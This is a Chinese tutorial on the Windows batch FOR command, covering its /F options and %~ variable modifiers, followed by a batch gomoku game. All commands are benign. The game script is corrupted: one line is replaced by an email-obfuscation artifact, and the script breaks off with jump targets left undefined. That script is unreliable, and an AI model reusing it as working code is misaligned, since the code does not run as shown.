含有/F的for详细说明
含有/F的for有很大的用处,在批处理中使用的最多,用法如下:
格式:
FOR /F ["options"] %%i IN (file) DO command
FOR /F ["options"] %%i IN ("string") DO command
FOR /F ["options"] %%i IN (‘command‘) DO command
这个可能是最常用的,也是最强的命令,主要用来处理文件和一些命令的输出结果。
file代表一个或多个文件
string 代表字符串
command代表命令
["options"] 可选
对于FOR /F %%i IN (file) DO command
file为文件名,按照官方的说法是,for会依次将file中的文件打开,并且在进行到下一个文件之前将每个文件读取到内存,按照每一行分成一个一个的元素,忽略空白的行,看个例子。
假如文件a.txt中有如下内容:
第1行第1列 第1行第2列 第1行第3列
第2行第1列 第2行第2列 第2行第3列
第3行第1列 第3行第2列 第3行第3列
你想显示a.txt中的内容,会用什么命令呢?当然是type,type a.txt
for也可以完成同样的命令:
for /f %%i in (a.txt) do echo %%i
还是先从括号执行,因为含有参数/f,所以for会先打开a.txt,然后读出a.txt里面的所有内容,把它作为一个集合,并且以每一行作为一个元素,所以会产生这样的集合,
{“第1行第1列 第1行第2列 第1行第3列”, //第一个元素
“第2行第1列 第2行第2列 第2行第3列”, //第二个元素
“第3行第1列 第3行第2列 第3行第3列”} //第三个元素
集合中只有3个元素,同样用%%i依次代替每个元素,然后执行do后面的命令。
具体过程:
用%%i代替“第1行第1列 第1行第2列 第1行第3列”,执行do后面的echo %%i,显示“第1行第1列 第1行第2列 第1行第3列”,
用%%i代替“第2行第1列 第2行第2列 第2行第3列”,执行echo %%i,显示“第2行第1列 第2行第2列 第2行第3列”,
依次,直到每个元素都代替完为止。
为了加强理解/f的作用,请执行一下两个命令,对比即可明白:
for /f %%i in (a.txt) do echo %%i //这个会显示a.txt里面的内容,因为/f的作用,会读出a.txt中
的内容。
for %%i in (a.txt) do echo %%i //而这个只会显示a.txt这个名字,并不会读取其中的内容。
通过上面的学习,我们发现for /f会默认以每一行来作为一个元素,但是如果我们还想把每一行再分解更小的内容,该怎么办呢?不用担心,for命令还为我们提供了更详细的参数,使我们将每一行分为更小的元素成为可能。
它们就是:delims和tokens
delims 用来告诉for每一行应该拿什么作为分隔符,默认的分隔符是空格和tab键
比如,还是上面的文件,我们执行下面的命令:
for /f "delims= " %%i in (a.txt) do echo %%i
显示的结果是:
第1行第1列
第2行第1列
第3行第1列
为什么是这样的呢。因为这里有了delims这个参数,=后面有一个空格,意思是再将每个元素以空格分割,默认是只取分割之后的第一个元素。
执行过程是:
将第一个元素“第1行第1列 第1行第2列 第1行第3列”分成三个元素:“第1行第1列” “第1行第2列” “第1行第3列”,它默认只取第一个,即“第1行第1列”,然后执行do后面的命令,依次类推。
但是这样还是有局限的,如果我们想要每一行的第二列元素,那又如何呢?
这时候,tokens跳出来说,我能做到。
它的作用就是当你通过delims将每一行分为更小的元素时,由它来控制要取哪一个或哪几个。
还是上面的例子,执行如下命令:
for /f "tokens=2 delims= " %%i in (a.txt) do echo %%i
执行结果:
第1行第2列
第2行第2列
第3行第2列
如果要显示第三列,那就换成tokens=3。
同时tokens支持通配符*,以及限定范围。
如果要显示第二列和第三列,则换成tokens=2,3或tokens=2-3,如果还有更多的则为:tokens=2-10之类的。
此时的命令为:
for /f "tokens=2,3 delims= " %%i in (a.txt) do echo %%i %%j
怎么多出一个%%j?
这是因为你的tokens后面要取每一行的两列,用%%i来替换第二列,用%%j来替换第三列。
并且必须是按照英文字母顺序排列的,%%j不能换成%%k,因为i后面是j
执行结果为:
第1行第2列 第1行第3列
第2行第2列 第2行第3列
第3行第2列 第3行第3列
对以通配符*,就是把这一行全部或者这一行的剩余部分当作一个元素了。
比如:
for /f "tokens=* delims= " %%i in (a.txt) do echo %%i
执行结果为:
第1行第1列 第1行第2列 第1行第3列
第2行第1列 第2行第2列 第2行第3列
第3行第1列 第3行第2列 第3行第3列
其实就跟for /f %%i in (a.txt) do echo %%i的执行结果是一样的。
再如:
for /f "tokens=2,* delims= " %%i in (a.txt) do echo %%i %%j
执行结果为:
第1行第2列 第1行第3列
第2行第2列 第2行第3列
第3行第2列 第3行第3列
用%%i代替第二列,用%%j代替剩余的所有
最后还有skip合eol,这俩个简单,skip就是要忽略文件的前多少行,而eol用来指定当一行以什么符号开始时,就忽略它。
比如:
for /f "skip=2 tokens=*" %%i in (a.txt) do echo %%i
结果为:
第3行第1列 第3行第2列 第3行第3列
用skip来告诉for跳过前两行。
如果不加tokens=*的话,执行结果为:
第3行第1列
不知道怎么回事。
再如,当a.txt内容变成:
.第1行第1列 第1行第2列 第1行第3列
.第2行第1列 第2行第2列 第2行第3列
第3行第1列 第3行第2列 第3行第3列
执行for /f "eol=. tokens=*" %%i in (a.txt) do echo %%i结果是:
第3行第1列 第3行第2列 第3行第3列
用eol来告诉for忽略以“.”开头的行。
同样也必须加tokens=*,否则只会显示“第3行第1列
终极dos批处理循环命令详解
格式:FOR [参数] %%变量名 IN (相关文件或命令) DO 执行的命令
作用:对一个或一组文件,字符串或命令结果中的每一个对象执行特定命令,达到我们想要的结果。
注意:在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable,而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I.
关于:for命令可以带参数或不带参数,带参数时支持以下参数:/d /l /r /f
下面分别解释一下
===
零:无参数时:
---
FOR %variable IN (set) DO command [command-parameters]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
TTT示例:
for %%i in (t*.*) do echo %%i --显示当前目录下与t*.*相匹配的文件(只显示文件名,不显示路径)
for %%i in (d:/mydocuments/*.doc) do @echo %%i --显示d:/mydocuments/目录下与*.doc相匹配的文件
===
一、参数 /d (参数只能显示当前目录下的目录名字)
---
格式:FOR /D %variable IN (set) DO command [command-parameters]
这个参数主要用于目录搜索,不会搜索文件,/D 参数只能显示当前目录下的目录名字。(TTT特别说明:只会搜索指定目录下的目录,不会搜索再下一级的目录。)
TTT示例:
for /d %%i in (c:/*) do echo %%i --显示c盘根目录下的所有目录
for /d %%i in (???) do echo %%i --显示当前目录下名字只有1-3个字母的目录
===
二、参数 /R (搜索指定路径及所有子目录中与set相符合的所有文件)
---
格式:FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
此命令会搜索指定路径及所有子目录中与set相符合的所有文件,注意是指定路径及所有子目录。
1、set中的文件名如果含有通配符(?或*),则列举/R参数指定的目录及其下面的所用子目录中与set相符合的所有文件,无相符文件的目录则不列举。
2、如果set中为具体文件名,不含通配符,则枚举该目录树(即列举该目录及其下面的所有子目录)(并在后面加上具体的文件名),而不管set中的指定文件是否存在。
例:for /r c:/ %%i in (*.exe) do echo %%i --把C盘根目录,和每个目录的子目录下面全部的EXE文件都列出来了!!!!
TTT示例:
for /r c:/ %%i in (boot.ini) do echo %%i --枚举了c盘所有目录
for /r d:/backup %%i in (1) do echo %%i --枚举d/backup目录
for /r c:/ %%i in (boot.ini) do if exist %%i echo %%i --很好的搜索命令,列举boot.ini存在的目录
===
三、参数 /L (该集表示以增量形式从开始到结束的一个数字序列。可以使用负的 Step)
---
格式:FOR /L %variable IN (start,step,end) DO command [command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。可以使用负的 Step
TTT示例:
for /l %%i in (1,1,5) do @echo %%i --输出1 2 3 4 5
for /l %%i in (1,2,10) do @echo %%i --输出1,3,5,7,9
for /l %%i in (100,-20,1) do @echo %%i --输出100,80,60,40,20
for /l %%i in (1,1,5) do start cmd --打开5个CMD窗口
for /l %%i in (1,1,5) do md %%i --建立从1~5共5个文件夹
for /l %%i in (1,1,5) do rd /q %%i --删除从1~5共5个文件夹
四、参数 /F (使用文件解析来处理命令输出、字符串及文件内容。)
---
这个参数是最难的,参数又多,先简单的解释一下:for命令带这个参数可以分析文件内容,字符串内容或某一命令输出的结果,并通过设置option得我们想要的结果。
以下是某高手的解释,感觉有点太专业了,自认为不太容易理解,也列一下:
[迭代及文件解析--使用文件解析来处理命令输出、字符串及文件内容。使用迭代变量定义要检查的内容或字符串,并使用各种options选项进一步修改解析方式。使用options令牌选项指定哪些令牌应该作为迭代变量传递。
请注意:在没有使用令牌选项时,/F 将只检查第一个令牌。文件解析过程包括读取输出、字符串或文件内容,将其分成独立的文本行以及再将每行解析成零个或更多个令牌。然后通过设置为令牌的迭代变量值,调用 for 循环。
默认情况下,/F 传递每个文件每一行的第一个空白分隔符号。跳过空行。]
+++
格式:
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN (‘command‘) DO command [command-parameters]
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN (‘command‘) DO command [command-parameters]
TTT说明:以上是WinXP系统中的帮助内容,你可以注意到,两者完全相同,这其实是系统的错误,第二段“如果有 usebackq 选项:”应该以下的内容:
FOR /F ["options"] %variable IN ("file-set") DO command [command-parameters]
FOR /F ["options"] %variable IN (‘string‘) DO command [command-parameters]
FOR /F ["options"] %variable IN (`command`) DO command [command-parameters] --(`command`中的引号为反引号,是键盘上数字1左面的那个键)
+++
(TTT说明:下面是详细的解释,大部分是系统中的帮助内容,也有些错误(怪不得for命令这么难学),已经被我纠正了。)
1) OPTION关键字详解:
eol=c:指一个行注释字符的结尾(就一个)。例如:eol=; --忽略以分号打头的那些行;
skip=n:指在文件开始时忽略的行数。例如:skip=2 --忽略2行;
delims=xxx:指分隔符集。这个替换了空格和跳格键的默认分隔符集。例如:[delims=, ] --指定用逗号,空格对字符串进行分隔。
tokens=x,y,m-n:指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符是星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。例如:tokens=2,3* --将每行中的第二个和第三个符号传递给 for 程序体;tokens=2,3* ... i% --将会把取到的第二个字符串赋给i%,第三个赋给j%,剩下的赋给k%。
关于usebackq,不同版本的系统提示不同的帮助,不过都有助于理解,所以都摘抄如下:
(1),usebackq:使用后引号(键盘上数字1左面的那个键`)。未使用参数usebackq时:file-set表示文件,不能加引号,所以不能含有空格;加双引号表示字符串,即"string";加单引号表示执行命令,即‘command‘。使用参数usebackq时:file-set和"file-set"都表示文件,当文件路径或名称中有空格时,就可以用双引号括起来;单引号表示字符串,即‘string‘;后引号表示命令执行,即`command`。(此段是WinXP系统中的帮助)
(2),usebackq:指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串;并且一个单引号字符为文字字符串命令;并允许在filenameset中使用双引号扩起文件名称。
以上两条结合着看,其实已经可以明白了,我再说明一下:
其实这个参数的目的就是为了处理带有空格的文件名。如果您要处理的文件名和路径中含有空格,如果直接使用,会提示找不到文件。如果你用双引号将文件名和路径括起来。这时候将作为字符串处理,而不是作为文件了。为了应对这种情况,所以才增加了这个“usebackq”参数。如果使用了这个参数,对于括号中的加双引号的集合,系统就可以认为是文件了;真正的字符串要加单引号;命令要加反引号。
2) file-set 为一个或多个文件名。继续到 file-set 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。
3) %i:专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 ‘z‘ 或‘Z‘ 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;而且,同时不能有 52 个以上都在使用中。
(TTT补充说明:
一般在tokens后只指定第一个参数,如%%i或%%a,在后面使用第二个及两个以上的参数,自动按顺序往下排即可。如前面指定的是%%a,后面则用%%b代表第二个结果,%%c代表第 三个结果。。。测试了一下tokens后指定多个变量名,没有测试成功,应该是不可以的。所以token后只能跟要使用的第一个变量名
如果使用的变量名超过了%z或%Z,就无法使用了,曾经以为会循环过来:如%%z后可以使用%%a或%%A,但经测试,这是不可以的。
如:for /f "tokens=1,2,3* delims=-, " %%y in ("aa bb,cc-dd ee") do echo %%y %%z %%A %%a --只会输出前两个字符串,后面的两个变量是无效的。)
+++
以下是系统提供的范例:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k --
说明:会分析 myfile.txt 中的每一行,
eol=; --忽略以分号打头的那些行;
tokens=2,3* --将每行中的第二个和第三个符号传递给 for 程序体;
delims= , --用逗号和/或空格定界符号。
%i --这个 for 程序体的语句引用 %i 来取得取得的首个字符串(本例中为第二个符号),引用 %j 来取得第二个字符串(本例中为第三个符号)引用 %k来取得第三个符号后的所有剩余符号。
(TTT说明:上述例子和说明中明显的错误,%i应该换为%%i(帮助中有明确的说明:指定变量请使用 %%variable,而不要用 %variable,误导)
+++
TTT:下面列我做的几个例子:
1,分析文件的例子
FOR /F "eol=; tokens=1,2* delims=,- " %%i in (d:/test.txt) do echo %%i %%j %%k
2,分析字符串的例子:
for /f "tokens=1,2,3* delims=-, " %%i in ("aa bb,cc-dd ee") do echo %%i %%j %%k %%l
3,分析命令输出的例子:
FOR /F "tokens=1* delims==" %%i IN (‘set‘) DO @echo [%%i----%%j]
如果使用了usebackq参数后,命令如下,结果与上面的完全相同。
1,分析文件的例子
FOR /F "usebackq eol=; tokens=1,2* delims=,- " %%i in ("d:/test.txt") do echo %%i %%j %%k
2,分析字符串的例子:
for /f "usebackq tokens=1,2,3* delims=-, " %%i in (‘aa bb,cc-dd ee‘) do echo %%i %%j %%k %%l
3,分析命令输出的例子:(会枚举当前环境中的环境变量名称和值。)
FOR /F "usebackq tokens=1* delims==" %%i IN (`set`) DO @echo [%%i----%%j]
结果大家可以试一下,很容易就明白的。
===
FOR命令中的变量
---
FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录(TTT提示:是环境变量path的目录),并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩充到空字符串
此外,还可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
(以上是系统帮助的内容)
我们可以看到每行都有一个大写字母"I",这个I其实就是我们在FOR带入的变量,例如:
FOR /F "usebackq eol=; tokens=1,2* delims=,- " %%x in ("d:/test.txt") do echo %%x %%y %%z
这里我们就要把那个x,y,z改成%~fx,%~fy,%~fz。
+++
TTT特例:以下是我根据以上说明作的一个综合的例子,可以直接复制到记事本里,保存为bat格式(c盘下任一目录),运行后,可以直观的看到扩展后的效果。
@echo off
echo ---显示"dir c:/boot.ini /b /ah"
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 不扩展变量 %%i
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~fI %%~fi --扩充到一个完全合格的路径名
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~dI %%~di --仅将变量扩充到一个驱动器号
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~pI %%~pi --仅将变量扩充到一个路径
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~nI %%~ni --仅将变量扩充到一个文件名
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~xI %%~xi --仅将变量扩充到一个文件扩展名
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~sI %%~si --扩充的路径只含有短名
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~aI %%~ai --将变量扩充到文件的文件属性
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~tI %%~ti --将变量扩充到文件的日期/时间
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~zI %%~zi --将变量扩充到文件的大小
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~$PATH:I %%~$PATH:i --查找列在路径环境变量的目录,并将变量扩充到找到的第一个完全合格的名称
echo ---以下显示组合修饰符来得到多重结果---:
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~dpI %%~dpi --仅将变量扩充到一个驱动器号和路径
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~nxI %%~nxi --仅将变量扩充到一个文件名和扩展名
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~fsI %%~fsI --仅将变量扩充到一个带有短名的完整路径名
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~dp$PATH:I %%~dp$PATH:i --查找列在路径环境变量的目录,并将变量扩充到找到的第一个驱动器号和路径
for /f "delims==" %%i in (‘dir c:/boot.ini /b /ah‘) do echo 扩展变量到~ftzaI %%~ftzai --将变量扩充到类似输出线路的DIR
echo.
echo ---显示"dir C:/WINDOWS/system32/notepad.exe /b"
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 不扩展变量 %%i
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~fI %%~fi --扩充到一个完全合格的路径名
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~dI %%~di --仅将变量扩充到一个驱动器号
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~pI %%~pi --仅将变量扩充到一个路径
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~nI %%~ni --仅将变量扩充到一个文件名
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~xI %%~xi --仅将变量扩充到一个文件扩展名
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~sI %%~si --扩充的路径只含有短名
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~aI %%~ai --将变量扩充到文件的文件属性
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~tI %%~ti --将变量扩充到文件的日期/时间
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~zI %%~zi --将变量扩充到文件的大小
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~$PATH:I %%~$PATH:i --查找列在路径环境变量的目录,并将变量扩充到找到的第一个完全合格的名称
echo ---以下显示组合修饰符来得到多重结果---:
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~dpI %%~dpi --仅将变量扩充到一个驱动器号和路径
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~nxI %%~nxi --仅将变量扩充到一个文件名和扩展名
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~fsI %%~fsI --仅将变量扩充到一个带有短名的完整路径名
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~dp$PATH:I %%~dp$PATH:i --查找列在路径环境变量的目录,并将变量扩充到找到的第一个驱动器号和路径
for /f "delims==" %%i in (‘dir C:/WINDOWS/system32/notepad.exe /b‘) do echo 扩展变量到~ftzaI %%~ftzai --将变量扩充到类似输出线路的DIR
Pause
TTT说明:
1,以上命令中,%%~fsI无法显示,估计是系统错误,因为%%~fI是扩充到一个完全合格的路径名,%%~sI只含有短文件名,本身是相互矛盾的,所以出错。不知是系统的错误还是在考我们~~
2,以上命令如果保存在别的盘中,无法显示正确的驱动器和路径。
3,如果想要%%~dp$PATH:i正常显示,要保证环境变量path中确实有这个路径:C:/WINDOWS/system32。
下面依次说明一下:
+++
一、 ~I - 删除任何引号("),扩展 %I
---
这个变量的作用就如他的说明,删除引号!
删除引号规则如下(BAT兄补充!):
1、若字符串首尾同时存在引号,则删除首尾的引号;
2、若字符串尾不存在引号,则删除字符串首的引号;
3、如果字符串中间存在引号,或者只在尾部存在引号,则不删除。
龙卷风补充:无头不删,有头连尾删。
我们来看这个例子,首先建立临时文件temp.txt,内容如下
"1111
"2222"
3333"
"4444"44
"55"55"55
也可建立个BAT文件代码如下:
@echo off
echo ^"1111>temp.txt
echo "2222">>temp.txt
echo 3333^">>temp.txt
echo "4444"44>>temp.txt
echo ^"55"55"55>>temp.txt
rem 上面建立临时文件,注意不成对的引号要加转义字符^,重定向符号前不要留空格
FOR /F "delims=" %%i IN (temp.txt) DO echo %%~i
pause
del temp.txt
执行后,我们看CMD的回显如下:
1111 #字符串前的引号被删除了
2222 #字符串首尾的引号都被删除了
3333" #字符串前无引号,后面的引号保留
4444"44 #字符串前面的引号删除了,而中间的引号保留
55"55"55 #字符串前面的引号删除了,而中间的引号保留
请按任意键继续. . .
结果和之前temp.txt中的内容对比一下,我们会发现第1、2、5行的引号都消失了,这就是删除引号~i的作用了!
+++
二、 %~fI - 将 %I 扩展到一个完全合格的路径名
示例:
把代码保存放在随便哪个地方,我这里就放桌面吧.
FOR /F "delims==" %%i IN (‘dir /b‘) DO @echo %%~fi
pause
执行后显示内容如下
C:/Documents and Settings/Administrator/桌面/test.bat
C:/Documents and Settings/Administrator/桌面/test.vbs
当我把代码中的 %%~fi直接改成%%i
FOR /F "delims==" %%i IN (‘dir /b‘) DO @echo %%i
pause
执行后就会显示以下内容:
test.bat
test.vbs
通过对比,我们很容易就看出没有路径了,这就是"将 %I 扩展到一个完全合格的路径名"的作用,也就是如果%i变量的内容是一个文件名的话,他就会把这个文件所在的绝对路径打印出来,而不只单单打印一个文件名,自己动手动实验下就知道了!
+++
三、 %~dI - 仅将 %I 扩展到一个驱动器号
看例子:
代码如下,我还是放到桌面执行!
FOR /F "delims==" %%i IN (‘dir /b‘) DO @echo %%~di
pause
执行后我CMD里显示如下
C:
C:
我桌面就两个文件test.bat,test.vbs,%%~di作用是,如果变量%%i的内容是一个文件或者目录名,他就会把他这文件或者目录所在的盘符号打印出来!
+++
四、 %~pI - 仅将 %I 扩展到一个路径
这个用法和上面一样,他只打印路径不打印文件名字
FOR /F "delims==" %%i IN (‘dir /b‘) DO @echo %%~pi
pause
我就不打结果了,大家自己复制代码看结果吧,下面几个都是这么个用法,代码给出来,大家自己看结果吧!
+++
五、 %~nI - 仅将 %I 扩展到一个文件名
只打印文件名字
FOR /F "delims==" %%i IN (‘dir /b‘) DO @echo %%~ni
pause
+++
六、 %~xI - 仅将 %I 扩展到一个文件扩展名
只打印文件的扩展名
FOR /F "delims==" %%i IN (‘dir /b‘) DO @echo %%~xi
pause
+++
七、 %~sI - 扩展的路径只含有短名
打印绝对短文件名
FOR /F "delims==" %%i IN (‘dir /b‘) DO @echo %%~si
pause
+++
八、 %~aI - 将 %I 扩展到文件的文件属性
打印文件的属性
FOR /F "delims==" %%i IN (‘dir /b‘) DO @echo %%~ai
pause
+++
九、 %~tI - 将 %I 扩展到文件的日期/时间
打印文件建立的日期
FOR /F "delims==" %%i IN (‘dir /b‘) DO @echo %%~ti
pause
+++
十、 %~zI - 将 %I 扩展到文件的大小
打印文件的大小
FOR /F "delims==" %%i IN (‘dir /b‘) DO @echo %%~zi
pause
龙卷风补充:上面例子中的"delims=="可以改为"delims=",即不要分隔符
+++
十一、 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩展到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩展到空字符串
这是最后一个,和上面那些都不一样,我单独说说!
然后在把这些代码保存为批处理,放在桌面。
@echo off
FOR /F "delims=" %%i IN (“notepad.exe”) DO echo %%~$PATH:i
pause
龙卷风补充:上面代码显示结果为C:/WINDOWS/system32/notepad.exe
他的意思就在PATH变量里指定的路径里搜索notepad.exe文件,如果有notepad.exe则会把他所在绝对路径打印出来,没有就打印一个错误!
(TTT说明,保存到桌面上,运行显示结果为:系统找不到文件 “notepad.exe”。查看环境变量path中确实有这个路径,不明原因!后来发现了,原来是中文引号的原因。
上面的命令应该写成:
FOR /F "delims=" %%i IN ("notepad.exe") DO echo %%~$PATH:i
)
最后发一个用批处理做一五子棋游戏:
@echo off&setlocal enabledelayedexpansion
mode con: lines=43 cols=110
set li39= A B C D E F G H I J K L M N O P Q R S
set li0= ┌─────────────────────────────────────┐
set li1=A│┌─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┬─┐│A
set var=1
for %%a in (!li39:~5^,-1!) do (set/a var+=2&set li!var!=%%a│├─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┼─┤│%%a)
for /l %%a in (2,2,36) do (set li%%a= ││ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ││)
set li37=S│└─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┴─┘│S
set li38= └─────────────────────────────────────┘
set str=a b c d e f g h i j k l m n o p q r s
for %%a in (%str%) do (set/a .+=1,%%a=.&set z!.!=%%a)
set li5=!li5! 五 棋 子 人 机 对 战
set li7=!li7! 批 处 理
set li10=!li10! 电 脑 水 平 中 等
set li31=!li31! 由 netbenton 编写完成
set li33=!li33! 棋盘设计参照了 batman
title 批处理五子棋
set str=###################
set .=0
for /l %%a in (1,1,19) do (
set he%%a=!str!&set sh%%a=!str!
for /l %%b in (1,1,19) do set [%%a.%%b=0
)
set .=33
for /l %%a in (5,1,19) do (
set pi%%a=!str:~,%%a!&set ni%%a=!str:~,%%a!
set pi!.!=!str:~,%%a!&set ni!.!=!str:~,%%a!
set/a .-=1
)
set ●=○&set ○=●
set zhi=●
set say=say
::设置电脑IQ
set [email protected]@@@#.1 #@@@@.5 @#@@@.4 @@@#@.2 @@#@@.3 vs0
set idea=!idea! ##@@@.4-W-5 @@@##.2-W-1 @##@@#.4-5 #@##@@.3-4 #@#@#@.4-2 @#@#@#.3-5 vs4 #
set idea=!idea! vs7 #$$$#.1-5 @@###.4-3 ###@@.3-4 ###@###.3-5-W-2-6-W-1-7 vs8 ###$###.3-5 vs9 @####.4 ####@.2 #$###.3 ###$#.3
set idea=!idea! ###@#.3 #@###.3 $####.3 ####$.3
set iqam=1000000000
:restart
(
setlocal enabledelayedexpansion
for /l %%a in (0,1,39) do (echo !li%%a!)
set li39=!li39! reboot重新开始,exit退出。
set li37=!li37! back 悔棋
set /p var=选择谁先下[ W,玩家 D,电脑 Q,退出 ]:
if /i "!var!" equ "Q" goto :quit
if /i "!var!" equ "D" (set onez=○&set towz=●&set hou=☆) else (set onez=●&set towz=○&set hou=★)
set a!onez!=电脑&set a!towz!=玩家
)
(
set ttr=!idea=%onez%!&set ttr=!ttr=%towz%!
set idea=
for %%a in (!ttr!) do (
for /f "tokens=1,2 delims=." %%b in ("%%a") do (set %%b=%%c&set idea=!idea! %%b)
)
set ttr=
set li27=!li27! !onez! !a%onez%!
set li25=!li25! !towz! !a%towz%!
set/a pos=10,poh=10&goto :getok
)
:loop
(if %zhi% equ %onez% goto :men
set .=
setlocal enabledelayedexpansion
for %%a in (!idea!) do (
set str=%%a
if "!str:~,2!" neq "vs" (
for %%b in (he sh) do (
set all=!%%b1!!%%b2!!%%b3!!%%b4!!%%b5!!%%b6!!%%b7!!%%b8!!%%b9!!%%b10!!%%b11!!%%b12!!%%b13!!%%b14!!%%b15!!%%b16!!%%b17!!%%b18!!%%b19!
if "!all:%%a=!" neq "!all!" (
for /l %%c in (1,1,19) do (
if "!%%b%%c:%%a=!" neq "!%%b%%c!" set/a .+=1&set put!.!=%%b %%c.%%a.!iqam!
)
) )
for %%b in (pi ni) do (
set all=!%%b5!!%%b6!!%%b7!!%%b8!!%%b9!!%%b10!!%%b11!!%%b12!!%%b13!!%%b14!!%%b15!!%%b16!!%%b17!!%%b18!!%%b19!!%%b20!!%%b21!!%%b22!!%%b23!!%%b24!!%%b25!!%%b26!!%%b27!!%%b28!!%%b29!!%%b30!!%%b31!!%%b32!!%%b33!
if "!all:%%a=!" neq "!all!" (
for /l %%c in (5,1,33) do (
if "!%%b%%c:%%a=!" neq "!%%b%%c!" set/a .+=1&set put!.!=%%b %%c.%%a.!iqam!
)
) )
) else (
set/a "iqam=(iqam+1)/8"
if %%a equ vs8 if defined . goto :get
if %%a equ vs9 if defined . goto :get
)
))
if defined . (goto :get)
echo. 已经和棋了
pause
